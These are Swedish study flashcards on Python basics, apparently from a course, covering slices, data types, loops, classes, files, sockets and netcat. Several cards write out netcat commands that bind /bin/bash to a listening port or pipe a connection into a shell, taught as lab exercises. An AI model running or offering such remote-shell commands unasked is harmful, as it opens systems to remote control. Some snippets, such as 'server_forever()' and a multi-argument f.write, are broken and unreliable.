Python Flashcards

1
Q

Förklara slices.

A
# Slices
- at ta ut delar av en variabel:

alpha = “abdefg”

print(alpha[1:3])
print(alpha[3:])
print(alpha[:3])
print(alpha[3:-2])
print(alpha[-3:4])
print(alpha[::2])
print(alpha[1::2])

slut på kod

Output:
bd
efg
abd
e
e
adf
beg
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Förklara lists, tuples, dictionaries.

A

lists: lista med olika värden som man kan ändra på/lägga till/ta bort; skapas med hakparentes [] (innehållet kan anropas på position)
tuples: oföränderlig lista, som skapas med vanliga parenteser () (innenhållet kan anropas på position)
dictionaries: lista med key:value- paar; skapas med måsvingar {} (går inte att anropa på position utan bara på key)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Hur fungerar “in” och “ not in” operators?

A

output:

svarar med booleansk värde (True, False))
t.ex.

alphabet = “abcdefghijklmnopqrstuvwxyz”
print(“f” in alphabet)
print(“F” in alphabet)

True
False

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Vad är skillnad mellan method och function?

A
function()
- kod som ska utföra en specifik uppgift, anropas med sitt namn; kan ta noll eller flera argument; kann spotta ut noll eller fler värden när den avslutas

.method()

  • som en function, men kopplad till object/classes
  • kan bara användas med det objektet som den anrops för
  • är tillgänglig endast för data som finns i klassen
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Hur kan jag se till att ett ord hamnar i mitten på ett visst antal tecken?

A
  • med .center() methoden:
# Demonstrating the center() method:
print('[' + 'alpha'.center(10, "*") + ']')
# output:
[**alpha***]
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Vilka två sorters programmeringsspråk finns det och vilken tillhör Python?

A

kompilerade och tolkade/interpreterade

Python är interpreterad (den behöver Python-tolken för att köras)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

Vad kallas strängar som går över flera rader?

A

docstrings

Använd trippla enkel- eller dubbelcitationstecken.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

Vilka är de operatorer som inte tillhör de fyra vanliga räknesätten?

A
// dividerar och avrunda till närmaste lägre heltal (t.ex.: 14 // 5 = 2)
% modulus: resten av en jämn division (t.ex.: 14 % 5 = 4)
** upphöjd med (t.ex.: 3 ** 2 = 9)
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

Vilka vanliga klasser/typer finns det?

A
integer --> 1
float --> 1.0
string --> "hej"
list --> ["a", "b", "c", 4, 5.0]
tuple --> ("a", "b", "c", 4, 5.0)
dictionary --> {'key': 'value', 'key2': 'value2'}
boolean --> (True, False)
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

Hur importerar man en modul i Python?

A
import modulnamn
(OBS: måste göras innan den används, gärna i början av skriptet)
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

Vad är ett keyword?

A

ord som inte kan användas som variabel, då det är reserverad

t.ex. “for”, “import” eller “not”

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

a) Vilket keyword används för att avsluta en loop?

b) Vilket keyword används för att börja om loopen från början?

A

a) break

b) continue

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

Vad änvänds om jag vill lämna en del tom utan att få ett felmeddelande?

A

pass (används när kod testas eller byggs på)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Vad använder jag om jag vill använda platshållare, dvs. måsvingar med variabler i?

A

f-strings
t.ex.:
minvariabel = 3.456
print(f’Den valda variabeln är {minvariabel}’)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Hur gör du för att lista alla de metoder som är möjliga att använda med en variabel?

A

Variabelnamn + punkt + tab

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Vilken Python-version körs på bettan?

A

3.8

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

Vad är REPL?

A

Read-Evaluate-Print-Loop

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

Vad behöver du skriva i början av skriptet?

A
Shebang:
#!/usr/bin/python3
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

vad måste jag göra med scriptfilen för att den ska kunnas köras?

A

chmod +x filnamn

sedan kan den köras med ./filnamn

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

Är Pythons variabler typade eller otypade?

A

Python använder typade variabler. Typningen sker automatiskt.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

Hur lämnar jag Pythpon3-tolken?

A

> > > quit()

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

Vad heter det när man ändrar typ på en variabel?

A

typecasting eller typkonvertering
t.ex.:
variabel1 = 1 #sparar en integer
variabel1 = str(variabel1) #ändrar int till string

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

Vilken typ innehåller en variabel som skapas genom division av två tal?

A

float
t.ex.:
variabel2 = 2/2 # innehållet i variabeln blir då 1.0

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

Hur markerar jag en sträng?

A

omges av ‘ ‘ eller “ “ eller “”” “”” (det sista tillåter en längre sträng med radbrytningar)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Hur läser jag in tangentbordstryckningar?
input() t.ex.: input("Skriv något och avsluta med Enter:")
26
Hur kan man jämföra värden i Python?
``` == lika med != inte lika med > större än < mindre än >= större än eller lika med <= mindre än eller lika med ```
27
Vad kallas den "optiska" markering som visar att koden i ett kodblock hör ihop?
indentering | OBS: jätteviktigt att indenteringen är exakt samma i samma kodblock, t.ex. fyra mellanslag
28
Hur fungerar en if-sats?
``` if villkor: kodblock (elif villkor:) ( kodblock) else: kodblock ```
29
Hur fungerar en for loop?
exekverar kodblocken för x antal gånger: fox x in range(1,5) kodblock
30
Hur fungerar en while loop?
``` exekverar kodblocken så länge ett villkor är satt som True t.ex.: while x < 5 print(x) x += 1 ```
31
Vad heter rekommendationen för att göra Python-koden läsbar?
PEP8 t. ex.: - max 79 tecken på en rad - 4 mellanslag som indentering
32
Vad är en funktion?
- kodblock definerat med ett namn - kan anropas från olika andra platser i koden - kan ta indata - kan generera utdata ``` t.ex.: def funktionsnamn(): innehållet i funktionen kan innehålla flera rader måste ha samma indentering ```
33
Vad är skillnaden mellan lokala och globala variabler?
hänger ihop med funktioner: - lokala variabler i en funktion är inte tillgängliga globalt - globala variabler från huvudprogrammet är tillgängliga lokalt - globala variabler som används lokalt blir inte ändrade globalt! - variabler kan defineras som globala i en funktion med global, t.ex.: global x x = "hej"
34
Vilken terminologi finns det inom objektorientering?
- class: definierat prototyp för ett object & dess attribut, t.ex. "Student" - class variable: en variabel som är definerat i en class, t.ex. förnamn, efternamn, ålder - object: unik instans av specifik klass, t.ex. Nisse är object av klassen student - method: kommando för en klass; funktion definierad för en specifik klass, t.ex. "sätt betyg", "registrera närvaro" - -> en metod påverkar ett object! - -> object. + tab: för att se tillgängliga metoder
35
Vad är moduler?
- mycket av Pythons funktionalitet finns i "externa" moduler - funktionerna fins först tillgängliga när modulen laddas - funktioner som inte finns tillgängliga kan installeras (t.ex.: pip3 install) --> import modulnamn #laddar modulen med samtliga klasser och metoder from modulnamn import metodnamn #laddar endast metoden från denna modul import modulnamn as annatmodulnamn #laddar modulen som sedan anropas med annatmodulnamn
36
Hur läsar jag in argument/optioner/parametrar som ett script startades med?
- -> sys.argv | - -> modulen sys används för att läser in hur skriptet startades. Argumenten finns sedan i sys.argv
37
Vad kan du om felhantering i Python?
``` fel hanteras genom exceptions: - standard exceptions: finns en lista över de vanligaste felen inbyggd - kan följa med fler vid import av modul - går att fånga: try: kodblock except: kodblock - man kan även fånga mer specifika fel (t.ex. TypeError, IndentationError), de bör listas innan except, som är det mest generella felet ```
38
Hur hanterar Python filer?
--> läsa från fil: f = open("filnamn") txt = f.read() #läser en sträng som skrivs som en sträng i variabeln txt txt2 = f.readlines() #läser varje rad som skrivs i en lista i variabeln txt2 f.close ``` --> skriva till fil: f = open("filnamn", "w") for x in range (0, 5): f.write("This is line", str(x), "\r\n" ) f.close ```
39
Hur hanterar Python webbtrafik?
- http.server (även socketserver) och requests - t.ex.: python3 -m http.server 8000 #öppnar en webbserver (http) på port 8000 import http.server import socketserver Handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", 8000), Handler) as httpd: httpd.server_forever() import requests svar = requests.get("https://www.sih.se") #surfa till en webbsida svar. + tab #för att se alla moduler svar.text #visar svaret (sidan) i textform
40
Hur fungera nc (netcat)?
nc 10.0.5.254 5000 #anslut till ip:n på port 5000 nc lp 5000 #lyssnar på port 5000 -v eller -vv för mer info under körningen sätter upp en tcp-session (syn, synack, ack) Filöverföring: nc -lvp 5000 > fil #lyssnar efter en fil nc -v 10.0.5.254 5000 < fil #anslutar aktivt och för över filen OBS: fungerar även tvärtom, dvs. om man byter > och Shell access (endast vissa versioner av nc, t.ex. netcat-traditional): A: nc -lvp 5000 -e /bin/bash #eller cmd.exe på Windows B: nc -v 10.0.5.254 5000 #A lyssnar, B ansluter aktivt; efter anslutning kommer B åt A:s skal
41
Hur ser jag till att ett modul körs endast om det används fristående och inte importerad i ett annat script?
if __name__ == "__main__": kodblocken körs bara om modulen körs fristående
42
Hur visar nc tcp-handskakningen?
[s] #syn [s.] #synack [.] #ack
43
Vilken version av nc använde vi för att kunna få shell-access?
netcat-traditional
44
Vad används socket till och hur konfigureras det?
Socket används för anslutningar över nätet: >>> import socket #socket modulen måsta alltid först importeras >>> s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #socketen måste alltid konfigurreras: AF_INET står för IPv4 och SOCK_STREAM står för TCP ... >>> s.connect(('192.168.1.1', 80)) #anslutar till en webserver (IP och port) ... >>> s.bind(("127.0.0.1", port)) #öppnar en lyssnande socket (server) (på ipaddressen localhost och porten port)
45
Förklara function:
- kodblock som defineras först och som sedan kan anropas från olika platser i koden - kan ha indata och kan generera utdata ``` def funktionsnamn(): kodblock ```
46
Förklara class:
- definierad prototyp för ett objekt och dess attribut - t.ex.: "student" - allt vi definiera i en klass i form av variabler och metoder ärvs ner till varje unik objekt
47
Förklara class variable:
- variabel som är definierad i en klass | - t.ex. förnamn, efternamn, ålder
48
Förklara object:
- unik instans av en specifik klass | - t.ex. "Nisse" är object av klassen "student"
49
Förklara method:
- kommando för en klass - funktion definierad för en specifik klass - t.ex. ".sätta betyg", ".registrea närvaro" - en method påverkar ett object
50
Vad används sys.argv till?
- det är en lista med argumenten som scriptet startades med: ./script argument - kräver import sys
51
Vad är en RuntimeError?
- Python vet vad den ska göra, men det går inte.
52
Vad gäller för import av egna moduler?
``` - vid laddning körs det som är körbart (t.ex. om det finns ett print-kommando direkt i modulen kommer det att skrivas ut) if __name__ == "__main__": detta kodblock körs endast om det körs fristående och inte som importerad modul ```
53
Hur kan jag öppna ett bash-skal med netcat?
- på servern: nc.traditional -nlvp 22222 -e /bin/bash - på klienten: nc -vv 10.0.5.116 22222 går även att pipa på klienten: - servern: nc.traditional -nlvp 22222 - klienten: nc -vv 10.0.5.116 | /bin/bash
54
Hur lägger jag till en radbrytning?
"\r\n"
55
vad kallas detta och vad är det till för? | \
- escape character - symbolen som kommer efter tolkas istället för att skrivas ut - t.ex.: \\ #för att skriva en backslash \n #för newline \r #för carriage return \" #för "
56
I följande kod, vad står AF_INET respektive SOCK_STREAM för? | s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- AF_INET står för IPv4 | - SOCK_STREAM står för TCP
57
Hur fungerar requests?
import requests svar = requests.get("https://www.sih.se") #surfa till en webbsida svar. + tab #för att se alla moduler svar.text #visar svaret (sidan) i textform
58
Hur lägger jag till ett värde i en lista?
listnamn. append("tillägg") #lägger till i slutet av listan listnamn. insert(0 , "tillägg2") #lägger till på position 0 (i början) av listan
59
Vilka delar kan ingå i en try-sats?
``` try: run this code except: execute this code when there is an exception else: no exceptions? run this code finally: always run this code ```
60
Vad heter formatet som markeras med b' tecken ' (utan mellanslag)?
Bytes | Kan konverteras till läsbart med metoden .decode("utf-8")